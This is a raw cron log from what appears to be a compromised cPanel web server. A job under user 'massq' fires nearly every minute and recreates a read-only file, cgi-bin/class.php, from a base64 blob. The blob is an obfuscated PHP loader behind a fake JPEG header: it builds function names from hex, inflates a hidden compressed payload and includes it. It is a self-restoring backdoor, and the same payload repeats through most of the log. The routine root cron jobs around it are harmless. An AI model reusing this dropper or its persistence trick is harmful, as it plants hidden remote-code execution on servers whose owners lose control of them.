Nov 10 18:29:01 server CROND[16466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:30:02 server CROND[17299]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 18:30:02 server CROND[17301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:30:02 server CROND[17302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:30:02 server CROND[17303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:31:01 server CROND[18076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:32:01 server CROND[18978]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:33:01 server CROND[19801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:34:01 server CROND[20609]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:35:01 server CROND[21430]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 18:35:01 server CROND[21432]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 18:35:01 server CROND[21431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:35:01 server CROND[21437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:35:01 server CROND[21439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:36:01 server CROND[22303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:37:01 server CROND[23127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:38:01 server CROND[24059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:39:01 server CROND[24830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:39:01 server CROND[24831]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 18:40:01 server CROND[25684]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:40:01 server CROND[25685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:40:01 server CROND[25686]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 18:40:01 server CROND[25687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:41:01 server CROND[26568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:42:01 server CROND[27403]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
